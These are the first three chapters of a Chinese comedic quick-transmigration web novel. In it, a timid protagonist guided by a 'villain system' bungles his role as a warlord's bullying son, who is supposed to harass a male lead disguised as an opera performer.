《代号窝囊废[快穿]》
1. 霸道土匪俏军阀
姜唯往脸上泼了把水,盯着镜子里的自己,有点不满意:
“「我」怎么长得这么丑?贼眉鼠眼的。”
镜子里映出一张青年的面孔,瘦长脸型,窄下巴,丹凤眼。五官说不上好看,顶多能算清秀,唯一的优点是皮肤比较白。
系统在脑海里安抚他:「这不为了方面你代入角色嘛,数据显示第一个世界使用原身任务合格率比身穿高出36%。」
姜唯还是不满意,他的眼睛是这个原身的三倍大,每次妈妈送他上学之前都会在他眼皮上亲一下,夸他甜宝贝今天真可爱。
镜子里面这张脸眼睛跟小刀喇出了条缝一样,姜唯很不满意:
“至少把眼睛变大点吧,这么条缝看得见东西吗?”
系统心道那你现在看到的是什么?作为一个五代智能系统,它很想跟姜唯科普科普眼睛大小跟视野的关系,但看在这个宿主实在不太聪明的样子它很快放弃了这个想法,从高智商模式切换到了高情商:
「宿主本人太漂亮噜,在这个世界可是要扮演一个作恶多端的军阀,不太合适捏,等以后有了合适世界也会机会滴~~」
姜唯显然很受用,也没在意系统突然变得黏黏糊糊的语气,仰起下巴道:“好吧,那这次就先这样吧。”
宿主松了口气,心道这位宿主虽然不聪明,但胜在好哄,幸好当这种炮灰反派也不需要太多智商。他心底盘算了一下,觉得只要姜唯演技够好,加上它的智商,这个小世界应该不是问题。
「宿主,加油啊!」
在系统的打气声中,姜唯仰着头挺着胸走出了自己的房间。
他身处一个三层小洋楼,晨曦的光芒从窗外投进来,走廊上有个绑着麻花辫的姑娘守在门口,看见姜唯从房内走出来立即松了口气:“三少爷您终于醒了。饭已经摆好了,二位少爷跟老爷正等着您呢。”
姜唯被这声‘三少爷’叫得浑身舒坦,轻轻‘嗯‘了一声,学电视剧里的样子摆了摆手:“我知道了,你下去吧。”
麻花辫姑娘看他这不紧不慢的样子急得直上火,抿着唇道:“那您可快点下去。” 说完一溜烟儿就跑了,她的责任已经尽到了,待会儿老爷要骂人她可不想杵在前头!
姜唯丝毫没注意到她的心理活动,仰着下巴走下了楼。他在这个世界扮演的是军阀家族的小儿子,也小说里的前期小反派,平日里仰仗着家族势力成天欺男霸女,结果一天就欺负到了正潜伏在戏班里的男主角头上。
纨绔少爷就要有纨绔的样子,姜唯哼着小调慢悠悠地走,好一会儿才走到饭堂。
早饭果然已经摆好了,桌边坐了三个男人。两个穿着军装一左一右地坐着,应该就是’他‘的大哥和二哥,中间有个穿着长衫的老头,应该就是他的爹——军阀张自明。
姜唯还没来得及细看,一声怒吼就在他耳边炸开来:
“站住!”
这吼声简直气贯长虹,姜唯当即站住了。
张自明怒瞪着他:“什么德性?吃个饭还要三催四请?让你老子你兄弟饿着肚子等你。我看你饭也别吃了!给我去领三十军棍再来!”
老爷子吼地满楼都能抖三抖,旁边的张卫擎张维筠两兄弟一个冷漠一个含笑,实际都见怪不怪,知道老爷子是雷声大雨点小,这老三是他最喜欢的姨太太生的,现下虽然人是没了,但总有三份情面。再说他们这个三弟就是块儿滚刀肉,别说军棍,小时候张自明巴掌还没落到他身上呢就开始扯着嗓子喊娘,说为什么大哥二哥都不挨打,意思是老爷子就爱欺负没娘的孩子,一刀刀王往人心窝子上戳,故而为非作歹十几年半根头发丝都没掉过。
两人饿着肚子,略烦躁地等着看戏,只希望这小子嚎得小声点。
谁知等了片刻,没听着响。
两人看过去,见姜唯呆住了,跟那姨娘一模一样的窄瓜子脸苍白如纸,竟吓傻了似得。
姜唯是真吓傻了。他从小到大没被这么吼过,而且三十军棍是什么?他可没听说来做任务还要渡这种劫啊!
系统此刻也懵了,左等右等没等来姜唯说台词,正想提醒就听到二少爷张维筠道:“三弟,你怎么傻了,快跟爸道歉啊。”
他此时开口并非是出于好意,而是带着讽刺的意味,因为他知道这个死猪不怕开水烫的三弟是绝不会道歉的。
谁知道姜唯竟浑身一颤,开口就是道:
“对不起。” 他白着张脸畏畏缩缩地看向虎目圆瞪的张自明:“我错了。”
这下连张自明都露出了诧异的神色,张维筠嘴角的笑落到了地上,大哥张卫擎也看了过来。
姜唯见三个人都看过来,不知道他们是什么意思,忍不住缩了缩肩膀,丝毫没了刚才的气势,有点可怜兮兮的样子。
张自明这么多年来头一次从这个小儿子口中听到道歉的话,有几分欣喜的想难不成这个混账东西终于开窍了?但当着另外两个儿子又不太拉得下脸,故而清了清嗓子粗声粗气地道:“坐下吧。”
姜唯在众人的注视中僵硬地走了过去,乖乖坐了下来,还是缩着肩膀。
张自明见他‘受教’,喜意又多了两分,一拍桌子道:“开饭!”
他这一掌下去桌上的碗都差点跟着跳起来,姜唯又吓了一跳,头登时埋得更低了,生怕身边的张自明要一巴掌拍死他!
几人都吃了好几口了,见姜唯跟个鹌鹑似得缩着不动,又都纷纷看向他。
张自明拉不下脸,就使眼色给二儿子,张维筠不得不开口‘关心’他道:“三弟,你吃饭啊。”
姜唯又是一抖,这才开始吃饭,但还是不敢抬头,筷子也不敢往远处伸,只敢扒拉自己面前那一小碟咸菜。张维筠的目光在他身上晃了一圈,见他白着脸小口小口地喝粥,忽而了然了——这是以退为进呢!
姜唯低着头没看见他的目光,系统这个时候在他脑海里开口了:
「宿主,你刚才怎么不说台词啊?错过是要扣分的!」
姜唯懵了:”什么台词?“
系统对他这金鱼脑子也是无语了,明明昨天晚上它才陪姜唯读了一遍今天的章节,转头就又忘了!它无法,只好把选段投影在了姜唯的识海里:
「张子鸣梗着脖子冲张大帅怒吼,说打什么军棍,有本事就把他一枪崩了送下去陪娘亲,众下人不敢说话,张自明又说了几句,都被他呛了回来,一时竟也拿他没办法——」
姜唯恍然大悟:“原来我该这么说!”
系统无语地道:「昨天不是读过吗,宿主全忘了?」
姜唯在系统面前嘴很硬:“我没忘!只是刚开始演不习惯,我下次就知道了。”
原来张子鸣是这么个硬气的角色,姜唯读着原著小说,顿时觉得自己又行了:“你把剩下的也投给我看看。”
系统干脆把后面两章都投给了他,姜唯看得津津有味,有一口没一口地喝着粥,连张维筠跟他说话都没听见。
张维筠叫了他几声都没得到回应,见姜唯一副魂飞天外的模样,忽然伸手一把捏起了他的下颌:
“老三,你搞什么?” 他端详了下这个弟弟呆滞的脸,挑了挑眉:“你别是乱搞染了病脑子坏了吧?”
他可听说过最近外头正流行一种疮病,入脑了人会发疯。他这个三弟成日里眠花宿柳,男女不忌,真不好说能带回来什么病。
姜唯这时才回过神,见餐桌上不知什么时候就只剩下他和这个‘二哥’。看了好几段原著他缓过劲来了,立即气势嚣张地瞪向张维筠:
“谁得病了?我看你才有病!”
听到他这一句,众家仆才松了口气,他们还以为三少爷鬼上身了呢!原来是装的。
张维筠‘啧’了一声,果然是以退为进。他放开姜唯的下巴,慢条斯理地擦了擦手,站起来道:“三弟还是注意点儿的好,别被掏空了身子,落得个和姨娘一样的下场。”
他指的是这位三弟的亲娘是烟花之地出来的,早年间红极一时身体却落下了隐疾,生下孩子没几年就病死了。换作以前张子鸣一定会被刺激得跳脚,但姜唯没听懂他在讽刺什么,冷哼一声回嘴道:
“你别以为你自己不行其他人就都不行。” 姜唯把下巴翘得高高的:“我身体好得很!”
张维筠:……
他深深看了姜唯一眼,又觉得这个弟弟像是撞鬼了。
姜唯还在发力:“你看什么看?没见过长这么好看的人啊?”
张维筠脸上的笑容终于不见了,盯着他看了片刻,语重心长地道:“三弟,有时间还是叫大夫来看看吧。” 随后就拂袖走了。
姜唯得意洋洋,自觉将人设演绎得很完美,坐下来几口扒完粥就起来去换上了一身帅气军装,特意把张自明给他贴金发的一堆乱七八招的奖章都戴上,又去叫上一群身强体壮的家丁,一伙人浩浩荡荡地往戏楼奔去。他刚刚复习过原著内容,‘张子鸣’作为个满肚子男盗女娼的恶霸公子,要在戏馆畅春园去欺压乔装为戏子的男主!整个情节简短总结就是他
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想借程家的威势强迫小戏子,结果被男主三言两语化解,主要目的是烘托男主过人的智商与临危不惧的镇定。
姜唯风风火火地赶到畅春园,戏班老板远远地看到他这么大阵仗皮都绷紧了,赶紧小碎步赶了过来:“诶,三少爷,您这……是来看戏的?”
姜唯朝他仰起下巴:“不来看戏还能干什么?秋燕在哪个堂子?”
“秋燕正唱着呢。” 戏班老板也不敢问他带这么多人来干什么,赔笑着道:”我这就领三少爷去。“
戏班老板在前头小跑着带路,姜唯领着一票人进了戏楼,掀开帘子便看见戏台上一个正迅速翻飞的身影。
台上的戏子作刀马旦装扮,正在以极快的速度转着圈。
姜唯看着台上,微微睁大了眼睛。他不懂戏,只觉得台上的人脚步特别平稳,身形特别优美,有种说不出来的灵巧飘逸。
下一瞬,台上的人忽然脚步一停,一把长刀出窍,‘噌’的一声破开空气被仍向高空,在众人的注视下那戏子塌下了腰,露出一张惊鸿桃花面。他的腰肢极其柔软,惊险地避过刀锋,长刀被他的脚后跟一碰弹起来,又被一只手牢牢握住。
刀刃雪白的光芒自姜唯眼前一闪而过,他登时后退了小半步。
“好!”
满堂喝彩中,姜唯咽了口唾沫,盯着台上优雅转身的戏子手中的长刀:”那……那是真刀?“
戏班老板道:“是啊,这可是我们戏班的门面,清朝传下来的东西,削铁如泥。”
姜唯看着那刀在戏子手中挥舞,背脊一阵发凉,心道这些人是啥子吗一个两个都看不出这是男主的伪装!一个小戏子抡得动几米长的长刀这科学吗?!
拿着剧本的姜唯现在觉得这个小说里的人都挺傻逼的。
他看着那刀有点胆寒,抬手摸了摸自己腰侧的枪套,又觉得没事了,他可是有热兵器啊!
好不容易等到戏唱完,姜唯让戏班老板领着到了后院。
他在太师椅上坐着,周围站了一拳家丁,面前有一扇粉色的纱帘垂下,里面影影绰绰能看见一个人影。
男主正在后头卸掉装扮。
姜唯耐心地等着,按照原著他还要在这儿等上好一会儿呢,他摆出一副纨绔的姿态,见里头的人许久都没出来,扯着嗓子便喊:
“还没好吗?还要让小爷等多久啊?”
戏班老板在旁边战战兢兢地陪着:“三少爷,您见谅,这戏服是麻烦些——”
姜唯哼了一声:“那以后可不是次次都要让小爷我等这么久?”
戏班老板满头冷汗,心道秋燕那可是匹烈马,今天这事恐怕是不能善了了……但张老三这个色中饿鬼名声在外,不让他吃到嘴里估计是没法罢休的。
“三少爷您别光顾着秋燕,也看看其他这些孩子们啊。” 戏班老板殷勤地道:“都水灵着呢。”
桌边站了一排穿着长衫的清秀少年,姜唯看了一圈,心中冷哼一声,心道都长得没他好看。
然而就在这时,一道声音自纱帘后传来:
“老板,您去忙吧。”
男子的声音优雅而柔婉:
“有我伺候三少爷就行。”
老板听他开口,有些犹豫地看了姜唯一眼。
姜唯兴奋了起来,剧情终于来了!他朝老板挥了挥手:“你下去吧。”
老板带着一串清秀少年走了,姜唯站起来清了清嗓子:“终于舍得露面了?秋燕,你可是让爷好等啊。”
纱帘后的人影似是清晰了些,声音再次传了出来:“三爷,我今天身子不适,不能伺候您。天色不早,您还是早点回去吧。”
虽然已经知道剧情走向,但姜唯听了还是觉得惊讶,心道兄弟你是一点儿借口也不找啊,刚刚对老板还说要伺候他。姜唯此时奇妙得觉得自己跟书中的人物有了共情——今天不好好教训教训这个不知天高地厚的小戏子,那他军阀的面子还往哪搁啊?
姜唯激动之下演技爆表,‘砰’的一声踹倒了椅子:“一个下九流的小蹄子也敢跟爷爷我摆谱?秋燕,你今天还得非伺候我不可了!”
他说罢扭头对家丁命令:“你,给我把刚才那群人都给我抓回来!他说一个不字就宰一个,看他有多少小师弟可杀!”
然而他话音刚落,纱帘里就传出了个冰寒的声音:
“你敢?”
这个声音低到几乎有些喑哑,跟刚才的柔婉完全不同。短短两个字,却裹挟着无边的威势和一股血气。
2. 霸道土匪俏军阀
姜唯整个人一愣。
他眼睁睁着看着纱帘后的黑影逼近,一只修长的大手伸出来,挑开了纱帘。
后面走出一个极其高大的男人。
姜唯随着他的靠近缓缓抬起头,双手紧紧抓住了太师椅的扶手——这个男主怎么这么高啊?!
姜唯整个人贴在了椅背上,惊恐地看着这个能用阴影把自己完全遮掩住的男人站定在了身前,他穿着身青色的短褂,肩臂的肌肉流畅而有力,能看得出身形非常结实。脸上没了粉妆,露出英气的眉和一双桃花眼,此时正幽幽地注视着他。
他跟戏台上那个灵巧美貌的小戏子完全判若两人!
姜唯脸都吓白了,有种看到美少女变成人形高达的既视感,甚至怀疑自己是不是遇到了仙人跳!
这时家丁惊叫出声:“三少爷!”
一瞬间长刀出鞘,刀锋横在姜唯的脖颈处,寒光‘啪’的一下映在他脸上。
“三少爷。” ‘秋燕’浓眉一挑,朝他亮出一个八颗牙齿的笑:“您觉得是您的人快,还是我的刀快?”
姜唯已经完全吓傻了,失去了对面部肌肉的控制,张着嘴一副痴呆样。
男人眸中倒映出他的面孔,嘲讽地一笑,手腕翻转,长刀像切豆腐一样丝滑地没入了太师椅的扶手,刀刃离姜唯的手掌只有一根发丝的距离:
“刚才看戏您一个子儿都没赏,那不如就赏秋燕一只手吧?”
男人的声音粗而沙哑,姜唯瞳孔猛地缩紧,听得出他是认真的。
……这、这是戏子还是土匪啊?!
为什么小说里的描述是男主与炮灰‘虚与委蛇’‘言语来回间化解了杀机’,到他这儿就是又亮刀又剁手的l
他不知道的是,小说里特意说了炮灰张子鸣是去军营抓了十几个壮丁上门踢馆。但姜唯粗心大意没仔细看,抓了几个家丁就来了,这些都是在张宅里伺候的仆人,没见过血,看到他被挟持也只知道吱哇乱叫。
男人在帘子后面时就察觉到了这一点,当即起了杀心。他潜藏在此地,就是冲着张帅府来的。这个张子鸣恶名远扬,欺男霸女的事情做了一箩筐,拿他开刀正好。
姜唯感受到了他的杀意,整个人微微颤抖起来:“你、你——“
男人对他笑了笑,提起了刀。
姜唯这人有个特点,一紧张屁股就喜欢出汗,沾得裤子都湿湿的。
此时不知是力气没用对还是怎么回事,竟哧溜一下从太师椅上唆到了地上。
姜唯摔了个大屁股墩,正好眼睁睁地看着大刀从头顶挥过,登时崩溃了:
“救命!杀人啦——”
姜唯弯腰抱着脑袋,眼泪夺眶而出,对男人尖叫道:
“乔山越,你不能杀我!”
被一语道破真名的男人动作一顿,眉眼中露出几分惊讶。
“你、你不能杀我!” 姜唯发出杀猪一般的惨叫:“警察呢?快去报警!这里要杀人啦——”
乔山越挑了挑眉,报警?一个军阀的儿子居然要找警察,真是贻笑大方。
系统此时也急得不行:「宿主、宿主!你有枪啊!快拿枪!」
姜唯这才想起来自己有枪!
他慌忙地伸手摸向腰间,结果不知道是手抖还是手软,一下子把枪掉在了地上,转了几个圈滚远了。
系统:……???什么傻逼玩意儿!
姜唯哇地一声哭了出来:”我的枪!”
乔山越刚升起一丝警戒就松弛了下来,挑了挑眉,他预料掉张子鸣是个脓包,却没想到他能没用成这个样子。
他这个军阀的儿子匍匐在他面前,军帽歪了挂在额角要掉不掉,一张小三角脸苍白如纸,正慌忙地用手往地上的枪摸。
乔山越直接一脚踢开了枪,手枪猛地撞到墙上,成功撞成了一地零件。
“啊!” 姜唯惊呼出声,不可置信地看向他:“你、你欺负人……”
乔山越高高地扬起眉,见这流氓细长的眼睛里包着汪泪,竟摆出副受了委屈的情态,嗤笑一声直接用刀抵住了他的下颌:“你刚才叫我什么??“
姜唯这才反应过来他露了馅,慌乱了一瞬:”我、我没叫你啊。“
乔山越见他瞪着眼睛猛眨,眼睫毛都快飞成扇形了,脸色骤然冷下来:“你再给我装模作样试试看?”
姜唯僵住,脸色变得青白,怕得连嘴唇都发起抖来。
见他这般,乔山越却又笑了起来,刀锋横在他喉头俯下身:“三少爷,您还没回我呢,要赏我什么?”
姜唯感受着皮肤被冰冷的铁刃贴紧,瞳孔都有点散了,像窒息的鱼一样张开嘴又合上:
“我……我——“
他眼前闪着乔山越凶狠的目光,耳边嗡嗡作响,终于绷不住崩溃了:
“我要回家!我不干了,呜呜呜呜呜……我不干了还不行吗?!”
乔山越被他一嗓子吼得皱了皱眉,见姜唯瘫软在地上,的脸迅速涨红,豆大的泪水不断涌了出来:
“我不干了……呜呜呜呜呜……爸爸、妈妈——”
连根毫毛都没伤着就哭爹喊娘,乔山越就没见过这么没出息的人,他忽然失了兴趣,收回了手上的刀。
“要是有第二个人知道我的真名,就算你藏在帅府里,我也会让你人头落地。”
乔山越冷声道:
“滚吧。”
他刚才的确是动了杀心,但见姜唯这么副窝囊样子又觉得多一事不如少一事。
现在时机还没到,知道这个名字背后代表什么的人也没几个人,如果张子鸣敢乱说到时候暗暗杀了便是。
然而他说完,人却还坐在地上哭,甚至有越哭越凶的架势。
“呜呜呜呜——”
姜唯满脸是泪,在脑海里向系统求救:
「系统!我不干了!呜呜呜——我要回家!」
「宿主,宿主!你冷静点,现在还不能脱离副本——」
系统在姜唯翻滚的识海里都要被颠吐了,还在试图安慰他。
乔山越听不到他们的对话,在他眼里就是这人哭还哭个没完了,他耐心耗尽,眸色一冷,刀又架回了姜唯脖子上:
“怎么,三少爷真想把命赏给我?”
剑光映在他脸上,姜唯登时瞪大了眼睛不敢再哭,惊惧地看着乔山越。
他做这个表情的时候眼睛睁地很大,眸里盛不下这么多泪,还在一滴一滴往下掉。
乔山越竟从他不算美貌的脸上看出了一丝我见犹怜的味道,只觉得这帅府的少爷娘们儿兮兮的,他们倆站一起还真不好说谁更像下九流。
姜唯还在流泪,一滴眼泪啪嗒落在了刃面上,乔山越皱了皱眉,脸色黑沉地吐出一个字:“滚。”
「宿主,快走啊!」
姜唯这才清醒了过来,抖着手试图从地上爬起来,周围的仆人也吓傻了,这时才想起来上前搀扶。姜唯手脚俱软,被一群家仆架在中间拖了出去,到门口正好被戏班老板看见了。
老板盯着他的背影,心里暗暗吃了一惊,心道秋燕那长手长脚的果然是个烈货。
不过这张三少爷年纪轻轻的也真是太虚了些,一柱香的时间还没到呢就软成这样,还是平时太放纵、不注意保养。
戏班老板摇了摇头,’唉‘了一声,转头去账房准备狠狠记上一笔。
姜唯回了帅府就把自己关在屋子里哭,水龙头似的直哭了一下午加一晚上,饭都没下去吃。
系统焦头烂额,它是真没想到姜唯能怂成这样
「宿主,你这样怎么行呢?剧情完成度不够啊。」
姜唯红着眼圈所在床脚,委屈死了:
「这怎么能怪我呢?他要杀我!」
系统一个人工智能都学会了叹气,极其无奈地道:
「宿主,您要相信我啊,我可以帮您屏蔽痛觉,而且不到剧情点您是不会死的。」
姜唯闻言一下子就不哭了:
「什么?这你怎么不早说?」
系统:……进小世界之前我就说过了。
它现在对姜唯的猪脑子已经完全不抱希望了,系统秉持着专业素养又细细跟他讲了一遍智能反派系统4.0的所有功能,姜唯是越听眼睛越亮,也不哭了,他觉得自己又行了。
有这么多功能他还怕什么男主?姜唯在心里窃喜,已经能想象到男主在他面前哭泣求饶的样子了!
系统:……原书里倒是也没有这个剧情。
第二天,姜唯特意起了个大早。
他吸取之前的教训,直奔军营拉了几十个大头兵,浩浩荡荡地来到了戏园大门口。
戏班老板一开门见到这个场景人都傻了:“三、三少爷,您、您这是?”
姜唯气势汹汹:“叫秋
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燕出来!”
戏班老板闻言心下暗骂,果然是秋燕这个烈货昨天没伺候好!他立即堆起了满脸的笑:“三少爷来,怎么能让您在外头等呢?我这就带您去秋燕的院子里。”
他说着便领着众人到了后院,接着立马溜了。秋燕自己惹出的乱子就让他自己平吧,戏班老板就是有点心疼钱,今天秋燕的戏估计都上不了了!
姜唯站在小院里,四处打量了一下,发觉这可能是男主角生活的地方。他是一点都不敢放松,勾了勾手示意后面的人跟上,弯腰撩起帘子钻进了半月门。
进了门,姜唯张嘴就要喊:“秋——”
他没来得及说出下一个字,一柄匕首就抵在了喉咙上。
姜唯惊惧地睁大了眼睛,乔山越站在门后的阴影里,上身没穿衣服,手臂上肌肉隆起,昭示着他下一瞬就割断姜唯的喉咙:
“别出声。” 乔山越的声音很低:”叫你的人出去。“
他位于死角,后面的士兵看不见,见他僵在门口不走了还在问:“三少爷,您是进还是不进啊?”
姜唯手心里都泌出了汗,只能道:“你们都出去!”
士兵门依言退了出去,乔山越又道:“把门关上。”
姜唯僵着身体,向身后伸手把大门关上。后面的人见他关了门,纷纷露出了然的神色,原来三少爷这是急不可耐了啊!定是那小戏子在里头行勾引之事,少爷不想让他们看见。
然而屋内的情形却全没有他们所想香艳,随着大门关上,光线一下子暗下来。
姜唯眼前一黑,只能看见隐约的高大躯体压近了他,接着被一只略微粗糙的大手握住了脖颈:
“三少爷这么早来干什么?”
一股夹杂着丝缕烟草味的气息笼罩了他,脖子上的手收紧,男人在他耳边说:
“是又想赏秋燕了吗?”
姜唯整个人都僵住了,虽然知道了系统能救他没有昨天那么崩溃,气势却一下子软了下来:
”我……“ 他说出台词,语气却差了十万八千里:“我就是来找你、吃个饭。”
吃饭?乔山越冷笑,天还没亮就来吃饭?真以为他傻呢。
张子鸣此人色胆包天,恶名在外,会做出这种事不奇怪,乔山越刀锋一转:“三少爷不知道,色字头上一把刀吗?”
姜唯腿一软,差点跌在地上,系统在耳边给他打气:「宿主,别怕!你有我呢!」
姜唯提起口气,声音却还是发抖:“秋、秋燕……我对你是真心的。”
真心?乔山越真是被恶心坏了,想给这个张三少爷点儿颜色瞧瞧省得整天来恶心他,但对上姜唯的眼神时却又顿住了。
这人又把眼睛瞪得很大,瞳仁黑白分明,里面有惊恐,害怕,还有强装出来的镇定——就是没有色欲。
乔山越挑了挑眉,手上的力道渐弱了,放下刀别过脸:“滚吧,别让我再看见你。”
姜唯松了口气,害怕地走着剧情:“秋燕,你就赏脸,就陪我吃一次饭,我以后再也不来烦你了。“
乔山越是真不把他放在眼里,直接背对着他给自己倒茶。
姜唯见他宽阔的背部肌随着动作在轻薄的短褂下涌动,还是不敢相信他就是台上那个身姿轻巧的戏子:
“叫你滚,听不懂吗?”
姜唯听到他冰冷的声音,瑟缩了一下,但他脑子虽然不聪明,脸皮却够厚。反正男主现在也杀不了他,他就站在原地不走了:“就一顿饭,我发誓以后再也不来找你了。”
他说完,赶紧回头朝外头道:“快把我备好的宴席摆上!”
乔山越动作一顿,回头看向他。
姜唯被他的眼神冻地一僵,气势又矮了一头,赶紧露出了个讨好的笑:“菜都是我让他们从大酒楼打包过来的,味道很不错,你就赏赏脸尝尝好不好?”
乔山越的目光落在他脸上,见这公子哥满脸谄媚,眉眼弯弯,天然的狗腿子样儿。
姜唯见他一直盯着自己,咽了口唾沫,声音更低了点:“……或、或者你想吃什么,我再叫他们去买也可以的。”
乔山越转过身,捞起了一件外衫穿上,边扣扣子边盯着姜唯看。
姜唯的脖子越缩越短,忐忑不安地看着他,但目光是一点儿没往他身上瞟。
乔山越扣上最后一颗扣子,忽然咧嘴笑了:“好啊,那就吃吧。”
3. 霸道土匪俏军阀
两人坐到了饭桌旁,桌上果然摆了一桌精致的早点。
姜唯打量乔山越的神色,见他神情不热不冷,坐在桌边,也没动筷的意思。
同时,一群大头也在打量这个男人,穿着短打,高大俊朗,翘着一条腿坐在桌边——这就是三少爷最近迷上的小戏子?长相是不错,但这哪像唱戏的啊?跟他们当兵的体型都差不多了!
姜唯没注意到他们的目光,只顾着盯着乔山越,对方不动筷他也不敢动筷:“秋燕,你怎么不吃啊?”
乔山越用勺子搅着碗里的粥,抬起眼:“他们也要在这儿看着?”
姜唯一愣,抬头看到周围的大头兵,这才恍然大悟,原来是这么多人看着吃不下去,他立即呵斥道:“你们都给我出去!”
大头兵回了声’是‘,就都出去了。姜唯回过头,正好对上乔越山意味深长的目光。他身子一抖,有种被看穿了错觉。幸好乔越山很快敛下了眼,低头喝了口面前的粥。
姜唯急于讨好他,殷勤地把一碟小笼包推到他面前:“你尝尝这个,灌汤小笼包。”
乔山越看了他一眼,把包子吃了。
姜唯又忙给他夹菜:“这个也好吃,炒蔬菜。”
乔山越眉头微皱,没动那筷子菜:”我不吃蔬菜。“
姜唯也没看出他是嫌弃自己,’哦‘了一声,往饭桌上看了看,又挑了盘卤猪蹄布置到他面前:
“那吃猪蹄吧,这是肉,好吃的。”
他态度温顺极了,一点看不出刚才对士兵颐指气使的样子。
乔山越神情玩味,很想看看他能装多久,他看了眼桌上的猪蹄,眉尾一挑:
“三少爷先前不是还骂我来着吗?” 他神情冰冷:“要我吃这个菜,是讽刺我?”
姜唯一愣,顿了两秒才想起来他是在说什么。他那是在念原著的台词,其实也不知道是什么意思,于是自然地道:
“对不起嘛,我也不是故意的。” 姜唯冲他讨好地道:“就算我骂我自己,我是小蹄子,行不行?”
乔山越扬了扬眉,面上浮现出些许笑意,心道这是真犯贱,一个军阀公子这种话也说得出口。
他估计这个张三之前就是这样软硬兼施,一会儿强硬一会儿贱骨头,才逼得那么多人着了他的道。
想到他在多少人面前耍过这招,乔山越脸上的神情又淡了些,真可惜了那双眼睛。不过人虽脏污不堪,但一桌子好菜不吃白不吃,乔山越对姜唯摆到他面前的菜照单全收,一碟一碟吃得干干净净,胃口大得像个无底洞一样。
姜唯紧着伺候他,把好肉好菜都往他面前摆,自己都没能吃上几口,待乔山越终于放下筷子,桌上的菜都被吃得差不多了。
“我吃饱了。” 他拿帕子擦了擦嘴:“多谢三少爷款待。”
姜唯饿的肚子咕噜咕噜,这才后知后觉地反应过来,这是男主陪他吃饭还是他陪男主啊?他饿着肚子有点生气,又不敢说什么狠话,最后只是道:“秋燕……你胃口挺好的啊。”
乔山越欣赏他脸上幽怨的神情,确实胃口大开:“托三少爷的福。”
俗话说吃人嘴短拿人手短,乔山越倒是一点不好意思都没有,大吃一顿就回了院子,大门一闭谁也不理,连送送他的意思都没有。姜唯只好饿着肚子回了帅府,整个人都是懵的,坐在床边琢磨了一会儿才道:
「系统,我怎么觉得我好像是个冤大头啊?」
系统:……
它也觉得姜唯殷勤得有点太过分了,但怕他跳脚,还是安慰道:「没关系啊宿主,剧情完成度上升了很多,往后您就可以嚣张了!」
「是吗?」姜唯有点高兴,确实,之后有很多他欺负男主的剧情。君子报仇十年不完,他等着就是!
接下来的几天,姜唯很殷勤地往戏园子跑,不是听戏打赏就是请乔山越吃饭,全城的人都知道了帅府的三少爷迷上了一个戏子,而且好似是动真格的。他打的赏和送的礼物乔山越全都收下了,每次吃完饭抹了嘴就走,姜唯献了这么久殷勤却连个手都没摸着。
乔山越倒好似是越来越习惯了,饭都摆到了屋内的小饭桌上吃。今天姜唯打包的是酒楼的海鲜宴席,乔山越跟个饕餮似得把一桌鲍参翅肚全都吃进了肚子里,现在正支着条腿在床边剔牙。
姜唯瞪着他,刚刚那盆蜜汁鲍鱼一共有五个,他一个都没吃到!
乔山越把牙签一扔,背后张眼似得道:“瞪我干什么?”
姜唯哼哼着不敢说,看他敞着短打翘着腿,嫌弃地道:“你怎么举止这么粗鲁,你不是戏子吗?”
吃海参嚼都不嚼,还当着人的面剔牙,真不讲卫生!
乔山越道:“怎么,三少爷这么快就嫌弃我了?”
姜唯看了斜倚在榻上大爷似得男人,恨得直磨牙:“那你看人家那些戏子都穿长衫,怎么就你一个穿成这样?多不文雅啊。”
乔山越闻言,撑着头看过来:“三少爷不是喜欢我吗?怎么,这么快就变心了?喜欢上我哪个师弟了?”
姜唯一噎,立马改了口:“我、我是喜欢你的呀。”
乔山越还是看着他,神情似笑非笑,姜唯见到他这个表情就犯怵,赶紧垂下眼避开了他的目光,接着就听到头顶上传来一声嗤笑。
姜唯猛地抬起头,果然看见乔山越勾着嘴角。
“你笑什么!”
姜唯气急。乔山越盯着他涨红的脸,他早就看出来这人根本不喜欢他,对他来说他恐怕还没有一块蜜汁鲍鱼来得有吸引力。不过送上门来的饭不吃白不吃,有这么个蠢蛋顺便逗逗就当打发时间了。
“三少爷喜欢我,我心里高兴啊。” 乔山越笑着说。
姜唯听了还真信了,‘哦’了一声,神情缓和下来:“这样啊。”
乔山越废了好大劲才忍住喉咙里的一声笑,真是笨得可以。
姜唯还是不大高兴,他看乔山越这个悠闲的样子心里就不得劲,仰起下巴道:“你就这么躺着吗?”
乔山越扭过头,脸上写着‘要不然呢’四个大字。
姜唯沉着脸,阴阳怪气地道:“吃了就躺着,你们唱戏的不是都要保持身材的吗?”
吃了就睡,跟头猪一样!姜唯在心里骂。
乔山越看他心疼蜜汁鲍鱼又不说出口的样子就觉得好玩儿,勾了勾唇角道:“三少爷不必担心,吃饱了才有力气唱戏嘛。”
姜唯气得眼睛冒火,心道还都是沾他的光!
他抿紧了唇,盯着乔山越这张可恨的脸道:
“我就不信,你们平时都能吃的这么好?不吃海鲜就唱不了戏了?“
乔山越在榻上翻了个身,悠闲道:“有鲍鱼就吃鲍鱼,有馒头就吃馒头呗,这叫随遇而安。”
姜唯差点被气个仰倒,这人怎么能这么理直气壮?!
乔山越背对着他,看不见神情,却能听到身后人呼呼的喘气声和军靴踱步在地上的声响,让他想起以前草窝里养的兔子。这种小畜生气急了也不知道叫,就知道跺脚。
姜唯气得在原地转了两圈,回头就看到榻上歪着的男人肩
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膀一抖一抖,像是在憋笑,登时炸了:
“你笑什么!” 他窜到床边,伸手就要去掰他的肩膀:“你是不是在笑话我?!”
然而他这一扑却扑空了,乔山越那么大个人、动起来却很灵巧,姜唯一下子扑到了床榻上,额头磕到了木质的围栏上,不禁痛呼出声:
“啊!”
姜唯的军帽被撞得歪掉,下意识地捂住额角。接着瞬就听到了乔山越的笑声,一转头便见男人在床尾笑得前仰后合,眼圈登时红了。其实额头没撞多疼,就是被乔山越气的!
“哈哈哈哈——” 乔山越是真没见过这么会逗乐的玩意儿,笑得眼角都溢出了泪才停下来,侧着头看姜唯:“三少爷这是做什么?青天白日的就要非礼奴家吗?”
他说后一句的时候用的是戏腔,柔婉的声调听得姜唯一愣,随即反应过来,这点也尤其可恨:“我非礼你怎么了?吃老子的用老子的,手都不让摸一下!”
这句是原书里面有的台词,姜唯这几天把书翻来覆去看了好几遍,这时台词脱口而出说得很自然。
乔山越却是脸色一冷:“你是我老子?“
姜唯被他唬得一抖,顿时不敢说话了,后面的台词也堵在了喉咙里。
